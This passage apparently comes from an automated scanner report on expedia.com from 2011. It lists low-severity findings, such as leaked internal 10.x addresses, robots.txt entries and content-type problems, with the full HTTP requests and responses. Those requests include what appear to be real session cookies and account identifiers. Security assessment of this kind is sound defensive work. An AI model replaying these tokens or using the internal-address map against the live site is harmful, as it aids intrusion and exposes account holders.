GET /pub/agent.dll?qscr=fbak&&zz=1247500409281&&zz=1304754553695 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=fbak&&zz=1247500409281
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; MC1=GUID=cc3450d747f3e2d59e058691af6ba2d1; p1=`accttype=v.2,3,1,EX01EF947B7C$D1$25$DD$0C$FD$A0Y$B3$7D8$95B$1C$91$5DIR$81$2Al$1C$86$5D$CDU$2Cv$7B$8A`tpid=v.1,1`gacct=v.1,1,215819729`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`196; COOKIECHECK=1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DFAQ%25252520Support%2525253ASearch%25252520Results%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/pub/agent.dll%2525253Fqscr%2525253Dfbak%25252526%25252526zz%2525253D1247500409281%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; jscript=1; s1=`user=v.8,0,EX0184330AB4$0E$F3204000$2A$2F$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$220$0D!50i$5Cr$A7$18$25$98$EF$82$AB$89$FB!e02000`135

Response

14.11. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.178

Request

GET /pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=litn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

14.12. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.146

Request

GET /pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dinfo%26&ussl=&uact=4&slgn=&zz=1304739350075 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

14.13. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.127

Request

Response

14.14. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.115

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

14.15. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.167

Request

GET /pub/agent.dll?qscr=logi&ussl=1&subl=0&lmde=256&selc=3&rfrr=-54397&zz=1304739868950 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=litn&&chms=114164&rfrr=-54397&zz=1304739862204
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`0`minfo=v.5,EX01068F4DDA$F0$24$DD$0C$3E$0C$2F$1E$C5mR$39$18$13mj$26X$82$16u$F6$EC$5F$9E$C2$5C$C2$27$34$5B$7D$FC$35$F4$0D$2C$8E$21E6L$A4RS$B1$CF9`accttype=v.2,8,1,EX01191EC1D2$F0$24$DD$0C$23$0C$37$1E$CDmZ$39$19$14m$60$26X$83$17$7C$F4$DE$5F$9E`user=v.8,0,EX01CED44CE7p$B7203000$8B$27$E96$B8$60$9D$0D$B8$60$9D$0D$B8$60$9D$0D10001000$1E810$2302!50$9F9o$98X!2$3F$BC$D6$EF$B2u!e02000`378; p1=`gacct=v.1,1,215819496`tpid=v.1,1`group=v.1,0`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`adinf=v.1,215819505|999|1|874F787A276C|||`141

Response

14.16. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.170

Request

Response

15. Robots.txt file previous next
There are 2 instances of this issue:

http://www.expedia.com/daily/styles/3ColFlex1024.css
https://www.expedia.com/pub/agent.dll

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

15.1. http://www.expedia.com/daily/styles/3ColFlex1024.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/daily/styles/3ColFlex1024.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.expedia.com

Response

HTTP/1.0 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html
ntCoent-Length: 554
Cache-Control: private, max-age=86064
Date: Fri, 06 May 2011 22:33:31 GMT
Connection: close

User-agent: *
Allow: /
Disallow: /daily/common/
Disallow: /cd/
Disallow: /pub/agent.dll?qscr=mrdt
Disallow: /pub/agent.dll?qscr=mrdr
Disallow: /daily/vacations/merch/
Disallow: /daily/ho
...[SNIP]...

15.2. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.expedia.com

Response

HTTP/1.0 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html
Cache-Control: private, max-age=4402
Date: Fri, 06 May 2011 22:40:52 GMT
Content-Length: 554
Connection: close

User-agent: *
Allow: /
Disallow: /daily/common/
Disallow: /cd/
Disallow: /pub/agent.dll?qscr=mrdt
Disallow: /pub/agent.dll?qscr=mrdr
Disallow: /daily/vacations/merch/
Disallow: /daily/ho
...[SNIP]...

16. Cacheable HTTPS response previous next
There are 2 instances of this issue:

/pub/agent.dll
/pubspec/scripts/isE3OnHtx.asp

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

16.1. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Request

Response

16.2. https://www.expedia.com/pubspec/scripts/isE3OnHtx.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pubspec/scripts/isE3OnHtx.asp

Request

GET /pubspec/scripts/isE3OnHtx.asp HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`0`user=v.8,0,EX019BC74F84p$B7202000$84$27$E96$B8$60$9D$0D$B8$60$9D$0D$B8$60$9D$0D10001000$1E810$2302!50$94$FF$C5o$B2$E2$9D$21$D6$EF$B2u!e02000`minfo=v.5,EX01068F4DDA$F0$24$DD$0C$3E$0C$2F$1E$C5mR$39$18$13mj$26X$82$16u$F6$EC$5F$9E$C2$5C$C2$27$34$5B$7D$FC$35$F4$0D$2C$8E$21E6L$A4RS$B1$CF9`accttype=v.2,8,1,EX01191EC1D2$F0$24$DD$0C$23$0C$37$1E$CDmZ$39$19$14m$60$26X$83$17$7C$F4$DE$5F$9E`383; p1=`gacct=v.1,1,215819496`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`99

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Length: 18
Content-Type: text/html
Cache-Control: private
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:44:27 GMT
Connection: keep-alive

var isE3On = true;

17. HTML does not specify charset previous next
There are 2 instances of this issue:

http://www.expedia.com/pubspec/scripts/isE3OnHtx.asp
https://www.expedia.com/pubspec/scripts/isE3OnHtx.asp

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

17.1. http://www.expedia.com/pubspec/scripts/isE3OnHtx.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pubspec/scripts/isE3OnHtx.asp

Request

GET /pubspec/scripts/isE3OnHtx.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 18
Content-Type: text/html
Cache-Control: private
Date: Fri, 06 May 2011 22:35:53 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 18

var isE3On = true;

17.2. https://www.expedia.com/pubspec/scripts/isE3OnHtx.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pubspec/scripts/isE3OnHtx.asp

Request

Response

18. Content type incorrectly stated previous next
There are 3 instances of this issue:

http://www.expedia.com/daily/js/flash.vbs
http://www.expedia.com/pubspec/scripts/isE3OnHtx.asp
https://www.expedia.com/pubspec/scripts/isE3OnHtx.asp

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

18.1. http://www.expedia.com/daily/js/flash.vbs previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/daily/js/flash.vbs

Issue detail

The response contains the following Content-type statement:

Content-Type: text/vbscript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /daily/js/flash.vbs HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1

Response

HTTP/1.1 200 OK
Cteonnt-Length: 296
Content-Type: text/vbscript
Last-Modified: Thu, 16 Mar 2006 00:03:56 GMT
Accept-Ranges: bytes
ETag: "07e251e8d48c61:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cache-Control: private
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:33:32 GMT
Connection: close
Content-Length: 296

Function VBGetSwfVer(i)
   on error resume next
   Dim swControl, swVersion
   swVersion = 0

   set swControl = CreateObject("ShockwaveFlash.ShockwaveFlash." + CStr(i))
   if (IsObject(swControl)) then

...[SNIP]...

18.2. http://www.expedia.com/pubspec/scripts/isE3OnHtx.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/pubspec/scripts/isE3OnHtx.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

18.3. https://www.expedia.com/pubspec/scripts/isE3OnHtx.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.expedia.com
Path:	/pubspec/scripts/isE3OnHtx.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

19. Content type is not specified previous next
There are 9 instances of this issue:

/static/default/default/images/close.gif
/static/frog/v0.1a/images/iconSpritesT.png
/static/fusion/v2.3/images/buttonBG.png
/static/fusion/v2.3/images/container/module-borders-sprite-alpha.png
/static/fusion/v2.3/images/customersupport/flyout_arrow.png
/static/fusion/v2.3/images/customersupport/lady78x78.gif
/static/fusion/v2.3/images/iconsSprites.png
/static/fusion/v2.3/images/wizard/promo_bg.png
/static/fusion/v2.3/images/wizard/wizard_out_bg.gif

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

19.1. http://www.expedia.com/static/default/default/images/close.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/default/default/images/close.gif

Request

GET /static/default/default/images/close.gif HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
